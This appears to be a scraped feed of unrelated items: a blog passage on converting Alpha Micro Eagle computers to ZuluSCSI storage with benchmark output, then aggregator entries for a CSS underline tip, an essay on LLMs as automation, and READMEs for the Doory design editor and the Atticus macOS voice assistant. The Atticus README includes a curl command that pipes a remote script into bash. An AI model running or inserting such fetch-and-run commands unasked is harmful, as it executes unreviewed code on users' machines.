This was clearly new behaviour — beforehand, it wouldn't do anything, not even enter the self-test, let alone attempt booting. Recall that error 2d had two mentions in the manual, the second one referencing the primary and secondary boot devices. Since the self-test said the SCSI controller was fine, this made me suspicious that there was something about the ZuluSCSI's configuration the machine didn't like. Knowing some systems can get finicky about sluggish devices immediately after power-up, I reconnected the ZuluSCSI and powered the E300 back on. Code 2d duly appeared, but this time instead of turning it off, I hit the reset button just to see what it would do.

It booted. I checked out the system and the files and jobs I knew should be there, and everything seemed to be operating normally, just as it used to. Here you can see all three panel LEDs lit (power, CPU activity and disk activity) along with the LED for the drive bay. Resetting it again, it booted cleanly a second time. I could find no other defects; it seemed fully functional.

I was delighted it had somehow revived itself in hibernation, but I'm not willing to do much digging into its Lazarus act. The only thing I can think of is that the prolonged de-energised period either completely reset the PLDs, as I hoped would happen, or glitched them enough to force a reload anyway. That's obviously not a theory I'd like to test. In support of said theory, however, although I got the same abnormal front panel code each time, the root cause on each occasion seemed different. Beforehand, it was something about the connection between the system board and the CPU board. Now it appeared to be the SCSI bus.

The other problem is that the boot didn't seem appreciably faster. In fact, the hard disk score from SI.LIT had actually dropped to around 10, which was 33% slower than its original hard disk.

This particular unit was an old ZuluSCSI, so the next thing to try was a newer one. The ZuluSCSI Blaster supports synchronous transfers up to 18MB/s, and since the 53C710 on the AM-172 and AM-174s supports synchronous SCSI as well, I bought a couple to test. I also copied the disk image to a new, fast SD card to eliminate that as a factor. Here's how the bus looks now (the AM-401 external CD-ROM is turned off):

.scsi
Dispatched SCSI port:

SCSI id  7: (reserved)  SCSI bus host adaptor
SCSI id  6: No device or unable to report
SCSI id  5: No device or unable to report
SCSI id  4: No device or unable to report
SCSI id  3: SCSI-2 (tape)      TANDBERG TDC 4200       =08:01CREATED12119
SCSI id  2: No device or unable to report
SCSI id  1: No device or unable to report
SCSI id  0: SCSI-2 (disk)      ZULUSCSIHARDDRIVE       2.3BZuluSCSI

And the score?

.si dsk0:
   SI--AMOS System Information, (C) Copyright 1990, Alpha Microsystems Inc.
                               Version 3.0(114)

               Computer Type: Eagle
              Main Processor: 68030
                Co-Processor: None
                 MMU present: Yes
            Operating System: AMOS 2.3A(484)
          Boot PROM revision: M00
              Number of SSDs: 1
                Total Memory: 16384 K-bytes
     Resident Monitor Memory: 6218 K-bytes

     Computing Index (CX), relative to AM-100:    36.8
     48 bit FP Index (4X), relative to AM-100:    36.3
Floating Point Index (FX), relative to AM-100/L:  5.6
          Disk Index (DX), relative to ST-506:    41.2

Almost three times faster — not bad! But the next run got a little spicy.

.si dsk0:
   SI--AMOS System Information, (C) Copyright 1990, Alpha Microsystems Inc.
                               Version 3.0(114)

               Computer Type: Eagle
              Main Processor: 68030
                Co-Processor: None
                 MMU present: Yes
            Operating System: AMOS 2.3A(484)
          Boot PROM revision: M00
              Number of SSDs: 1
                Total Memory: 16384 K-bytes
     Resident Monitor Memory: 6218 K-bytes

     Computing Index (CX), relative to AM-100:    36.9
     48 bit FP Index (4X), relative to AM-100:    36.3
Floating Point Index (FX), relative to AM-100/L:  5.6
          Disk Index (DX), relative to ST-506:    100.4

I wasn't sure how to rationalise why the second run was nearly two and a half times faster (and over six times faster than the original hard disk). There's no obvious caching in the Blaster's firmware that I could see, and although the AMOS system-wide disk cache was on, the test is supposed to be unaffected by OS-level caching. On the other hand, when I rebooted AMOS from software, its score went back to 41 and 100 thereafter. More on this phenomenon later.

Termination power was sufficient to power the Blaster. But what the Blaster didn't fix, even with its later firmware, was the 2d code the E300 kept throwing from a cold start. Although booting after a manual reset was still fine, it refused to start after a power cycle without assistance, which I need it to be able to do if there's a power outage when I'm not around.

The ZuluSCSI has lots of options settable in its

.ini

file, but since the issue appeared to be what the E300 thought was the secondary device and I knew the streamer was connected and working, I had a look at the back boot DIP switches first. The previous setting was #1 and #3 on, which would attempt a boot from the (non-existent) floppy drive first, and then try the SCSI hard disk. This had always worked before, but we have no floppy drive and I'm not likely to find an AM-219 anytime soon, so I tried the other boot position where it attempts a boot from the streamer first — again, known good electronics — by switching #4 on. And that worked: now it boots reliably. The conversion is complete.

So, with the E300 resurrected and finally successfully converted to solid state, let's really push our luck here ... by doing the same with the others! (I should note I excluded the E100s this time around; I haven't found a special task or physical location for them yet.)

A ZuluSCSI Blaster is a fast SCSI emulator, but it wouldn't be enough to fully challenge the E450's 20MB/s Fast and Wide SCSI-2 controller and Seagate Cheetah ST39204W (a 9GB 10Krpm Ultra160), which collectively notch a baseline

SI.LIT

disk score of 30.9. For this system I bought a ZuluSCSI Wide, which tops out at 34 MB/s read and 15 MB/s write, and which I already use in my Apple Network Servers with a similar NCR 53C825A.

Copying the disk image over onto a new fast SD card and firing it up. It also was fine with termination power alone.

.scsi
Dispatched SCSI port:

SCSI id 15: No device or unable to report
SCSI id 14: No device or unable to report
SCSI id 13: No device or unable to report
SCSI id 12: No device or unable to report
SCSI id 11: No device or unable to report
SCSI id 10: No device or unable to report
SCSI id  9: No device or unable to report
SCSI id  8: No device or unable to report
SCSI id  7: (reserved)  SCSI bus host adaptor
SCSI id  6: No device or unable to report
SCSI id  5: No device or unable to report
SCSI id  4: No device or unable to report
SCSI id  3: No device or unable to report
SCSI id  2: SCSI-2 (tape)      HP      C1533A          A907   9
SCSI id  1: No device or unable to report
SCSI id  0: SCSI-2 (disk)      ZULUSCSIHARDDRIVE       2.3WZuluSCSI

Here you can see both the HP C1533A DAT and then the ZuluSCSI Wide.

.si dsk0:
   SI--AMOS System Information, (C) Copyright 1990, Alpha Microsystems Inc.
                               Version 3.0(114)

               Computer Type: Eagle
              Main Processor: 68040
                Co-Processor: None
                 MMU present: Yes
            Operating System: AMOS 2.3A(484)-15
          Boot PROM revision: D00
              Number of SSDs: 1
                Total Memory: 73728 K-bytes
     Resident Monitor Memory: 4366 K-bytes

     Computing Index (CX), relative to AM-100:    59.9
     48 bit FP Index (4X), relative to AM-100:    58.2
Floating Point Index (FX), relative to AM-100/L:  7.9
          Disk Index (DX), relative to ST-506:    51.0
.si dsk0:
[...]
          Disk Index (DX), relative to ST-506:    52.2
.

First do note that the CPU is detected as an '040, no doubt because of the MCF5102's heritage as a modified 68040V, and again the erroneous determination that it has an MMU (it does not). Our disk index increases to somewhere around 51, though I don't see the same potentially spurious bump the second time around as we did on the E300, and we're replacing a drive here that was already fairly quick. Still, that pencils out around a 66% increase in performance, so I'll take it.

Now we have this leftover older ZuluSCSI. Surely there's a system we can use it in.

In the last Alpha Micro article we booted our AM-1200 desktop system using a BlueSCSI attached to its external 50-pin Centronics-style SASI port, which with some tweaks to the settings file can be made compatible enough for its very old bus. But I'd like to use that device for other things, so we'll put the old ZuluSCSI card — more than fast enough for this thing — inside. To avoid me having to dismantle it every time I want to switch the disk image, I disconnected one of its unused serial ports and threaded a USB cable there.

We'll have to get creative about the insides, though, because the old ST-506 mounting holes won't work for the ZuluSCSI and I don't want to short it out against the brushed metal interior. After copying the disk images and reconstructing the settings, I settled on sticking it in an antistatic bag with holes for power, USB and SASI (there's insufficient termination power to run it off that alone). Hey, you can't see it from the outside. Don't judge me.

With the USB cable, I can now switch disk images and reconfigure the ZuluSCSI from a connected computer, yet not have to take the system apart again unless I need to swap the card. For now I decided to run AMOS 1.4 as its primary operating system with 2.3A as a sidecar on

SUB0:

. It's as fast as the BlueSCSI was, probably because both devices can easily saturate its slow SASI bus:

.scsi
SASI port:

SCSI id 3: No device or unable to report
SCSI id 2: No device or unable to report
SCSI id 1: (disk)      ZULUSCSIHARDDRIVE       2.0 ZuluSCSI
SCSI id 0: (disk)      ZULUSCSIHARDDRIVE       2.0 ZuluSCSI
.log sub0:[1,4]
Transferred from <SYS:> DSK0:[1,4] to SUB0:[1,4]
.si dsk0:
   SI--AMOS System Information, (C) Copyright 1990, Alpha Microsystems Inc.
                               Version 3.0(114)

               Computer Type: AM-1000 or AM-1200
              Main Processor: 68000
                Co-Processor: None
                 MMU present: No
            Operating System: AMOS/L 1.4A(189)-2
          Boot PROM revision: Unknown
              Number of SSDs: 1
                Total Memory: 1024 K-bytes
     Resident Monitor Memory: 89 K-bytes

     Computing Index (CX), relative to AM-100:    6.3
     48 bit FP Index (4X), relative to AM-100:    6.3
Floating Point Index (FX), relative to AM-100/L: Not computed. Needs AMOS 2.0
          Disk Index (DX), relative to ST-506:    3.2
.si dsk0:
[...]
          Disk Index (DX), relative to ST-506:    3.2

AMOS 1.4 misdetects its 68010 as a 68000 (AMOS 2.3A detects the CPU correctly), but like the E450, there was no second test bump either.

Now with my three main systems converted to solid state, I decided to stack them and save a bit of space, using the AM-1200 as a crossbar to support the AM-65 and AM-75 terminal heads and the E300 and E450 as its "legs." The E450 and AM-1200 share the AM-65; the E300, as the always-on server, gets the AM-75 all to itself. I suppose I'll find out sooner or later how seismically stable this is.

That left our new arrival, the E500. I converted it to a ZuluSCSI Blaster as well because I was interested to see if the second-run speed bump would occur there also, given it has the same SCSI controller and the same general architecture as the E300. Annoyingly, when I extracted the Seagate Barracuda ST32272N hard disk from the 5.25" bay, one of the posts of the 3.5"-to-5.25" converter was broken and the LED cable hadn't been connected, though it won't fit the Blaster's LED header anyway.

The first order of business was thus to solder some female Dupont jumpers onto the end of the activity LED wires so we could connect it.

Now to mount it. I didn't have any more metal struts from the SGI Indigo^2, and I didn't have any screws that fit the plastic enclosure that would mate with the side rails, so I went with zipties. I said don't judge.

Installed, as good as we can get, with the old LED connector for comparison.

Since the zipties are only in the front, the board will swing down, but this is actually useful because I can easily access the configuration switches when the SCSI cable is unplugged. Like the E300, termination power is enough to run the ZuluSCSI in the E500, so there's no power cable to get in the way.

When the SCSI cable is reattached, its connection to the tape streamer keeps it in raised position.

The rear DIP switches were already correctly set, so the last step was to put its outer metal shell back on (a bit banged up though I managed to bend out a few of the defects) and give it a good scrub. I might consider Retr0brighting it later but simply cleaning it up made it look quite a bit better.

Booting with the "everything console." I should point out that the E500 has a slightly later version of AMOS than the E300 and E450 and we get a little more explanation with the bus readout:

.scsi
Dispatched SCSI port:

SCSI id  7: (reserved)  SCSI bus host adaptor
SCSI id  6: SCSI-2 (tape)      TANDBERG TDC 4100       0801=:CREATED12119
            CmdQue Asynchronous
SCSI id  5: No device or unable to report
SCSI id  4: No device or unable to report
SCSI id  3: No device or unable to report
SCSI id  2: No device or unable to report
SCSI id  1: No device or unable to report
SCSI id  0: SCSI-2 (disk)      ZULUSCSIHARDDRIVE       2.3BZuluSCSI
            CmdQue Synchronous: 10.00MB\8

While all three systems support synchronous SCSI, this version of AMOS actually reports it, along with the width (8-bit, because it's only Fast SCSI, not Wide). Now, what about performance?

.si dsk0:
   SI--AMOS System Information, (C) Copyright 1990, Alpha Microsystems Inc.
                               Version 3.0(115)-1

               Computer Type: Eagle
              Main Processor: 68040
                Co-Processor: 68882
                 MMU present: Yes
            Operating System: AMOS 2.3A(489)
          Boot PROM revision: Unknown
              Number of SSDs: 1
                Total Memory: 32768 K-bytes
     Resident Monitor Memory: 25249 K-bytes

     Computing Index (CX), relative to AM-100:    83.8
     48 bit FP Index (4X), relative to AM-100:    34.1
Floating Point Index (FX), relative to AM-100/L:  1700.0
          Disk Index (DX), relative to ST-506:    46.3
.si dsk0:
[...]
          Disk Index (DX), relative to ST-506:    180.7
.

The ST32272N we replaced is a 7200rpm drive while the ST310151N in the E300 was only 5400rpm, thus accounting for the E500's better baseline disk score, and the E500's faster CPU probably explains its slightly higher first-run result of 46.3. But the second run is even more lopsided than what we saw with the E300, a massive 180.7.

Since two of the systems were doing it, it was time to dig in a little more. The ZuluSCSI Blaster has a debug mode switch which echoes status and current operation to a connected machine over USB serial at 115200bps, so I hooked up both the E500's serial console and the USB port of the Blaster simultaneously to the MacBook Air to watch what SCSI operations occurred during the benchmark test.

Debug mode obviously substantially impacts SCSI throughput because now the processor in the ZuluSCSI has to emit serial debugging information while it's satisfying requests, but SCSI activity during the first run didn't seem unusual. On the other hand, the activity during the second run was very unusual: there wasn't any. In fact, even though the baseline score had sunk down to a dismal 10 or so because of all the debugging data it was emitting, the second run was still a blistering 180.7.

This really sounded like operating system caching, but except for the AM-1200 where I wasn't running it to save memory, the other three systems were running the standard disk cache as virtually any performance Alpha Micro would — and allegedly SI.LIT should be unswayed by it. For some reason the E450's cache configuration wasn't locking UFDs (user file directories, i.e., PPNs), but turning that off on the E500 and E300 didn't make a difference, and all three were caching everything else including the MFD (master file directory). However, when I turned off caching altogether at runtime (using the CACHE.LIT tool and disabling with OFF ), though the scores got really low, they were now consistent from run to run.

Do note our observation isn't enough to fully explain the E450, which also runs the OS disk cache, but didn't have a second run bump. If you disable the cache on the E450, although its overall score declines, it still remains consistent from run to run. One possibility is that the driver for its later SCSI controller just isn't as aggressive.

Although the overall issue certainly calls into question how useful SI.LIT is as a disk benchmark, despite being likely the only Alpha Micro benchmark tool you can expect most recent systems to come with, the question then becomes how comparative disk performance on an Alpha Micro should be measured. Was it still fine for me to continue with my usual practice of leaving the cache on and testing immediately after boot? It's probable that there'd be little in the cache by that point, whatever would be there would likely be similar from system to system (assuming the same version of the operating system), and likelier still that whatever was present in the cache wouldn't be very germane to SI.LIT . Under my current knowledge of AMOS I think these numbers are still broadly comparable; I just have to keep in mind that the score on subsequent runs is likely to be bogus.

With our Alpha Micro stack now in operation, shown here from the E300's console as it continues serving the world as it did before, let's briefly finish the story of the Eagles. The E100 and E450 became the basis for a number of even smaller systems used as network servers (e.g., the E100NX with few, if any, directly attached terminals) fed by network-connected terminal servers (e.g., E100TX, E450TX) based on the same platform. The single board systems were much cheaper to manufacture, and Alpha Micro discontinued the E300, E500 and E550 in 2000 to introduce the MCF5102-based E250, a cost-reduced E450 in the same way the E100 was a cost-reduced E300, running exactly the same processor at the same speed (Alpha Micro themselves reported a CX score of 59.9,

precisely even with our E450 here). The E100 was discontinued shortly afterwards in 2001.

For Alpha Micro, the end of their 68K architecture systems was ultimately tied to the end of the 68K architecture generally. Motorola had never planned to evolve the MCF5102 further as it was always meant as a stopgap, and later ColdFires were not sufficiently suitable nor compatible to run the software legacy AMOS users ran. Although Alpha Micro's Falcon line of PC compatibility cards used them as a CPU starting with the 2002 PCI SuperFalcon (AM-113), it soon became clear PCs were fast enough for software emulation to be a far more effective option. In 2003 Alpha Micro introduced the AM-8000, an AMD Athlon PC running Windows XP Embedded with an on-board SuperFalcon, but here the SuperFalcon was demoted to a coprocessor for handling the SSD and terminal I/O running a reduced "Embedded AMOS" monitor. Everything else was an efficient software emulation, yielding a SI.LIT CX score of 816 (!) on dual Athlon 2800+ CPUs. Later AM-113 SuperFalcons were just serial ports and a socket for the SSD; the main system was now more than suitable to service them, and Motorola wasn't making any more 5102 CPUs either. The Eagle 800 that same year ran the same technology in miniature, bringing the great experiment to a close with the discontinuation of the last E250 and E450 systems, and today's systems sold by the reformulated Alpha Microsystems LLC use the same x86-based architecture.

Over their production lifetime, analysis of known serial numbers suggests around ten thousand 68K Eagles were ultimately sold, and now I've got five of them. Rest in peace, Rod. They're still great machines.

CSS for underlines

Lobsters
www.rubenerd.au
2026-10-11 21:43:08
Comments...
Original Article

Underlined text has always been a bit of an issue in HTML and CSS. For example:

  • The colour of the underline could only be inherited from the text.

  • The CSS specification doesn’t define an underline thickness, leaving it to vendors to decide how to derive it. The end result was some browsers rendering thicker underlines than others, especially at larger font sizes.

The workaround for decades was to eschew (gesundheit) underlines entirely, and use a border as a pseudo underline:

a {
    border-bottom:   1px solid;
    text-decoration: none;
}
   
a::after {
    content: "The bird is the word";
}

This always struck me as inelegant and ugly, because underlines should cross characters with descenders like g and y , and borders don’t.

Fortunately, starting in 2019 we’ve had these attributes to play with , and it appears all major browsers vendors have now implemented them:

a {
    text-decoration-line:      underline;
    text-decoration-color:     teal;
    text-decoration-style:     solid;
    text-decoration-thickness: 1px;
}

This makes me happier than it should.

'AI' is Not a Tool

Lobsters
www.linkedin.com
2026-10-11 21:18:09
Comments...
Original Article

(I keep delivering this as a quip, here's a bit more)

First order of business - is ' tool ' going to have an interesting, distinguishing and thus illuminative meaning or be a mere platitudinous stand-in for "anything useful"?

We'll save tool as "anyone/thing that can be exploited" for the AI titans, for whom VCs, politicians, wannabe-titan-CEOs, software devs, rural towns etc are all 'tools'. The pockets on the front of my shirts are useful (I need to keep my reading glasses handy), but they are not tools. Similarly, fast food drive-thru windows are useful, but are not tools (more later).

Some definitions of ' tool ':

  • a device or implement, especially one held in the hand, used to carry out a particular function
  • an instrument (such as a hammer or saw) used or worked by hand : an instrument used by a handicraftsperson or laborer in their work

What I like best - A tool is something you wield .

  • wield - to use (as a tool or instrument) especially with full command or power : handle, manipulate, control

Especially useful in that are:

  • Held in your hand - a source of both control and feedback, and an indication of the intimacy of the act of use
  • Power - force, energy transmission and direction, leverage etc
  • Control - intention and continuous directing of the course of events

Tools are implements with which you do something, they do not do things for you. Tool use builds, rewards, and often requires, expertise and skill. The continuous application of technique and energy, and sensory feedback, are essential to the buildup of expertise (from experiri - "try").

Good tools have many properties LLMs lack - they are predictable, reliable, deterministic, of bounded function, hopefully simple etc.

What you learn while wielding a tool is something about the world, the task, the physics, logic etc of what you are trying to do or the situation you are trying to overcome. And often, something about yourself.

As a lifelong tool builder and user, I know what tools are. LLMs are not tools.

Control, sensory feedback, intention, intimacy, continuous direction, expertise etc are all missing from LLM use. LLMs are not wielded. LLMs are automation .

  • automation - (of a device or process) working by itself with little or no direct human control.

A drive-thru is not a tool for cooking, it is automation for avoiding cooking. LLMs are not tools with which you write code - they are automation with which you avoid writing code, to which you abdicate writing code.

You don't direct the action of an LLM - you make requests and it acts on its own, without your energy or continuous direction. This request/automation cycle is not wielding, it's not control, it's not continuous, it's without feedback.

What you are doing while using automation, instead of learning real-world truths, is attempting to divine the details du jour of some automaton. And striving to game them - e.g. ordering a custom burger (no onions) in order to get a freshly made one. Or filling voodoo.md with just the right incantations. You are only a software update from everything you've 'learned' being rendered obsolete by the latest algorithm. (A soggy cold burger from which the onions have been removed) You have traded working with the world to working for a capricious robot.

It is a mistake to be haphazard about "tools" being equivalent to utility, e.g. saying - "the LLM didn't write my paper, I just used it as a tool to read and summarize some research papers". But you didn't wield it to read those papers (as you might a Kindle). It read the papers, not you.

What do you miss by abdicating doing the reading? Pretty much everything. First and foremost, you miss learning how to write from those who can. You miss learning how to formulate an argument. You miss noticing things. You miss loading your background mind with fodder for novel ideas. You miss building trust in some authors and suspicion of others. You miss all the jokes. You miss all of the edges. You miss learning how to think.

Tools don't get "misaligned", they don't "go rogue", they don't "escape containment", "conspire" etc.

LLMs are not tools. I know many people use the phrase "just tools" simply to indicate "they are what you make of them". Except that's not true . Automation has intrinsic properties and differences from tools that you ignore at your peril.

Rich

Doory – Open-Source Canva

Hacker News
github.com
2026-10-11 20:48:27
Comments...
Original Article

Doory is a full design editor that runs in your browser. Make posters, social posts, stories, slides, invitations, resumes, thumbnails and business cards: start from a template or a blank page, edit everything, and export to PNG, JPG, SVG, PDF, MP4 or GIF. Every feature is free, nobody needs an account to start, and you can run the whole thing on your own server.

🎬 See it in action

A real recording of Doory: picking the gig poster template, renaming the band, recolouring the dates, adding a star and opening the export menu

A real, unedited recording: pick a template, rename the band, recolour the dates, add a star, export.

💜 Why people pick Doory

🆓 Free, for real

No Pro plan, no locked templates, no watermarks, no ads. Every tool in the editor is there for everyone, from background removal to video export.

⚡ Start in one click

Open the editor and design. Guests' work is saved in the browser; create an account only when you want your designs in the cloud, and they move over in one step.

🏠 Yours to host

One docker compose up runs the app, the API, the database and live collaboration on your own server. Every design and upload stays under your control.

🛠️ A real editor

Layers, groups, masks, filters, curved text, snapping, rulers, multi-page designs, animation, audio, presenting, comments and real-time co-editing.

🎨 Everything you need to design

The Doory editor with the gig poster template open

Edit anything

Click any text, shape or photo to change it. Fonts, colours, sizes, alignment and effects are one click away in the toolbar above the page.
The Animate panel with enter, exit and emphasis animations

Bring it to life

27 enter and exit animations, 12 emphasis effects and 16 page transitions, with music and sound effects from a built-in library. Present it, or export it as a video.
The Layers panel with its right-click menu

Stay organised

Every object is a layer you can rename, lock, hide, reorder by dragging, group, or right-click to copy, duplicate, delete and arrange.
The export menu: PNG, JPG, PDF, SVG, video and GIF

Export anywhere

PNG with transparency, JPG, SVG and PDF, plus MP4, WebM and animated GIF, all made in your browser. Need print? Get a print-ready PDF with bleed and crop marks.
See the full feature list
Text Headings, curved text, text effects, font pairings, bulleted and numbered lists, an open-licensed font catalogue and your own uploaded fonts
Elements Shapes, lines and arrows, about 25,000 icons, emoji and illustrations, stickers, QR codes
Photos Upload, crop, masks and filters, one-click background removal (the model runs in your browser), stock photo search with an Unsplash or Pexels key
Layout Layers with lock and hide, groups, alignment guides, snapping, rulers, multi-page designs with pages of different sizes, magic resize
Motion 27 enter and exit animations, 12 emphasis animations and 16 page transitions on a timeline
Sound A built-in library of 24 music loops and 88 sound effects (CC0), uploads, voiceover recording, trims and fades
Present Present mode with speaker notes, timing, auto-advance, a laser pointer and a second presenter window
Together Share links that can view, comment or edit (optionally password protected), pinned comments, version history and real-time co-editing with live cursors
Brand Brand kits with your colours, fonts and logos, one click away in every design
Export PNG, JPG, SVG and PDF, MP4, WebM and animated GIF, all made in the browser, plus print-ready PDF with bleed and crop marks

🖼️ Templates that look good from the start

Ten starter templates: a gig poster, a wedding invitation, an event story, a sale post, a café flyer, a quote card, a resume, a YouTube thumbnail, a pitch deck and a business card

Ten starter templates ship with Doory, each with its own palette, set in open-licensed fonts and fully editable: a gig poster, a wedding invitation, an event story, a sale post, a café flyer, a quote card, a resume, a YouTube thumbnail, a pitch deck and a business card. Add your own in the admin, and browse them all by category, size and orientation.

The template gallery

Canva is a great product. Doory is for people who want the same kind of tool, but free, open and in their own hands.

Doory Canva
Price Free, every feature Free plan, paid Pro and Teams plans
Open source ✅ ❌
Run it on your own server ✅ ❌
Design without an account ✅ ❌
Your files stay on infrastructure you control ✅ ❌
Real-time co-editing and comments ✅ ✅
Animation, video and GIF export ✅ ✅
Background removal ✅ in your browser ✅
Template library 10 starter templates, plus any you add A very large library

🚀 Self-host it in 3 commands

cp .env.example .env     # set DJANGO_SECRET_KEY (openssl rand -base64 48) and POSTGRES_PASSWORD
docker compose up -d --build
docker compose exec api python manage.py createsuperuser

Open http://localhost:8080 and start designing. The web container serves the app and forwards /api and /ws to the backend, so the browser only ever talks to one address.

Add the starter content (templates, icons, fonts, audio)

A new site starts empty. Add whatever you want once it is running:

docker compose exec api python manage.py seed_gallery         # template categories
docker compose exec api python manage.py sync_fonts --popular 100
docker compose exec api python manage.py seed_templates       # the starter templates (add --update to refresh them)
docker compose exec api python manage.py seed_elements        # shapes and graphics
docker compose exec api python manage.py sync_element_packs   # icons, emoji and illustrations (download)
docker compose exec api python manage.py sync_models          # background removal model
docker compose exec api python manage.py sync_audio           # music and sound effects
Settings worth knowing ( .env )
Setting What it does
SITE_URL The public address of the site, e.g. https://doory.example.com (no trailing slash)
DJANGO_ALLOWED_HOSTS The host names the site answers to, comma separated
SECURE_SSL_REDIRECT , SECURE_COOKIES true behind HTTPS, false for plain http://
EMAIL_URL , DEFAULT_FROM_EMAIL SMTP, e.g. smtp+tls://user:password@smtp.example.com:587 (without it, emails are printed to the API log)
WEB_PORT , WEB_BIND Where the site is published (default 0.0.0.0:8080 )
INSTALL_CHROMIUM false skips the headless browser that server-side PDF export needs
GOOGLE_CLIENT_ID Turns on "Sign in with Google"
UNSPLASH_ACCESS_KEY , PEXELS_API_KEY Turn on stock photo search
USE_S3 and AWS_* Store uploads in S3-compatible storage instead of a local volume
Develop locally
make setup     # virtualenv, dependencies, local database
make dev-api   # API on http://localhost:8000
make dev-web   # app on http://localhost:5173 (second terminal)

make help lists the other targets (tests, lint, content).

❓ FAQ

Is it really free?
Yes. There are no plans, no paywalls and no ads in Doory. Every feature is available to everyone.
Do I need an account?
No. Guests design straight away and their work is saved in the browser. An account keeps designs in the cloud, lets you share them and use brand kits; signing up moves your guest designs over in one step.
Can I use it for my business or host it for my users?
Yes, as long as you credit the author as the licence asks: keep the licence and NOTICE with it and show the credit in the running app. See License and credit .
Where are my designs stored?
Guest designs and their images live in the browser on that device. Signed-in designs are stored on the server that runs Doory: yours, if you self-host. Uploads can go to a local volume or to S3-compatible storage.

🧱 Built with

React TypeScript Vite Fabric.js Yjs Django PostgreSQL Docker

React 19, TypeScript, Vite, Fabric.js, Yjs and Zustand in the browser; Django 5, Django REST Framework, Channels and PostgreSQL on the server; Docker Compose with nginx, optional Redis and S3-compatible storage.

🤝 Contributing

Bug reports, ideas and pull requests are welcome. Open an issue to report a bug or suggest a feature. For a security problem, please report it privately through the repository's Security tab instead.

If Doory is useful to you, a ⭐ helps other people find it.

📜 License and credit

Doory is released under the Attribution Assurance License . You may use, change and redistribute it, including commercially, but you must credit the author : keep the licence and NOTICE with it, and display this credit prominently in the running app:

Doory by Siam, creator and maintainer of Doory — https://github.com/shaongitbd/doory

Third-party software, fonts and content keep their own licences; see THIRD_PARTY.md .


Made with care by Siam and the Doory bunny.

Show HN: Atticus – Hold-to-talk voice assistant for macOS that runs on Claude -p

Hacker News
github.com
2026-10-11 20:15:12
Comments...
Original Article

Atticus. Your whole Mac, one sentence away.

Hold ⌃ control ⌥ option space , say what you need, let go.
Atticus moves your windows, finds your files, reads your screen and gets it done.

⚡ Fast · 🔑 No API key · 🧠 Remembers you · Free and open source

  • Fast. Simple asks skip the AI: an app opens in 0.08 s. Ask for an action once and Atticus learns it, so next time it runs in a blink, with no AI and for free.
  • No API key. It runs on the Claude Pro or Max plan you already have, through Claude Code. Nothing to sign up for, no key to paste, no extra bill.
  • Remembers you. Say "remember…" and every ask after that knows it. It picks up who you are (your name, your apps) and fixes its own mistakes when you correct it.

macOS Swift Claude Cost


atticus-film.mp4

Just ask

You say Atticus
"Code on my big screen, Chrome and Terminal on the laptop." Arranges three windows across two displays.
"Open Spotify." · "Terminal on the left." Runs instantly, with no AI at all.
"Find my notes about the Tokyo trip." Searches your files by what's inside them, opens the match on your other screen.
"What's wrong with this code?" Looks at your screen and answers in a line.
"Summarize this article in three bullets." Reads the page for you.
"Reply: sounds good, see you at 7." Types it into the app you're in. It never sends.
"Play my late night coding playlist on Spotify." Plays it in a second, no clicks. Any song, artist or playlist.
"When I say focus mode, close Slack and open my to-do list." Remembers it. Next time, two words do it all.

Atticus arranging windows across two screens

Why Atticus

Fast

Opening apps and sites, moving windows, web searches and music skip the AI entirely (an app opens in 0.08 s). Actions you ask for once (opening apps, moving windows, playing music) become learned shortcuts: "Open Calculator and Chess" went from 5.5 s to 0.4 s, with no AI.

No API key

Runs on the Claude plan you already have, through claude -p . About 0.14¢ of plan usage per ask (~700 asks for $1 at API list rates). Atticus itself is free.

Remembers you

"Remember: open means bring it to the front." Saved rules go with every ask. It learns lasting facts about you (name, city, favorite apps), and when you correct it, it saves a rule so it gets it right next time. Edit all of it in Settings.

Private ears

Apple's on-device speech turns your voice into text. Audio never leaves your Mac.

Your whole Mac

Apps, windows, files, settings, the web and the screen, with Peekaboo for clicking inside any app.

Safe by default

Safe mode runs the AI's commands in Claude Code's sandbox: they can only write to a scratch folder. Before anything deletes, sends, buys or changes a file, Atticus asks you first. rm , sudo , disk tools and shutdown are always blocked. Every exact command is in the ask log.
How the shortcut and the box work

Choose Hold to talk or Press to toggle in Settings → General → Shortcut behavior. Hold mode sends when you release. Toggle mode starts on the first press and sends on the second; pauses keep listening. Pressing the shortcut while Atticus answers stops it; during spoken playback it stops the voice. Esc cancels listening without sending. Toggle recordings reach a review screen after 60 seconds, rather than sending automatically. Closing the overlay or pausing Atticus stops its microphone, workers and voice.

Click any answer to copy it, including earlier answers still shown in the box. Click your request to edit and ask again, or press ↑ in an empty typing box to recall the latest request. The overlay stays within your display when resized and respects Reduce Motion.

Apple's final transcript confirms each voice request before AI tools or learned shortcuts run. AI reasoning can start during a pause, but its tools wait for confirmation. If speech finalization takes too long, Atticus offers the partial text for review. Instant commands still skip the AI entirely. Supported built-in commands run mid-sentence, before you send, with Instant commands and Act while I’m talking on (Settings → Intelligence). Learned shortcuts wait for confirmed words.

Install

You need:

  • macOS 26 or later (Atticus uses Apple's new on-device speech)
  • A paid Claude plan (Pro or Max) and Claude Code . No Claude Code yet? The setup window installs it and signs you in.
  • Apple's command line tools: xcode-select --install
  • Optional: Peekaboo (see its install steps) so Atticus can click inside apps

Paste this in Terminal:

curl -fsSL https://raw.githubusercontent.com/SaarthurR/atticus-mac/main/install.sh | bash

It checks your Mac, downloads Atticus to ~/.atticus , builds ~/Applications/Atticus.app , and opens it. Atticus starts at login and updates itself from there (turn that off in Settings → About & Updates).

Working on the code instead? Clone the repo anywhere and run ./build.sh after each change.

The first launch opens a setup window. It checks your Claude plan, then asks for each macOS permission. After that, Atticus lives in the menu bar. Open it from Spotlight (⌘Space, "Atticus") for Settings: shortcut, sounds, model, speed, screen, memory and usage. If you sign out of Claude later, the setup window comes back by itself. To see it again: defaults delete com.atticus.app onboarded , then restart the app.

Test: python3 atticus.py --selftest on macOS, plus python3 -m unittest discover -s tests -v for offline regressions. After building, ~/Applications/Atticus.app/Contents/MacOS/Atticus --selftest checks native transcript matching without opening the app. Node, when installed, also checks embedded JavaScript syntax. For the UI interaction checks, run python3 -m http.server 8765 --bind 127.0.0.1 from the repo and open http://127.0.0.1:8765/tests/ui.html ; it uses a mock native bridge and makes no Mac actions or AI calls.

Remove: launchctl bootout gui/$(id -u)/com.atticus.app , then delete ~/Applications/Atticus.app , ~/.atticus , ~/.config/atticus (your settings and history) and ~/Library/LaunchAgents/com.atticus.app.plist .

Watch for me

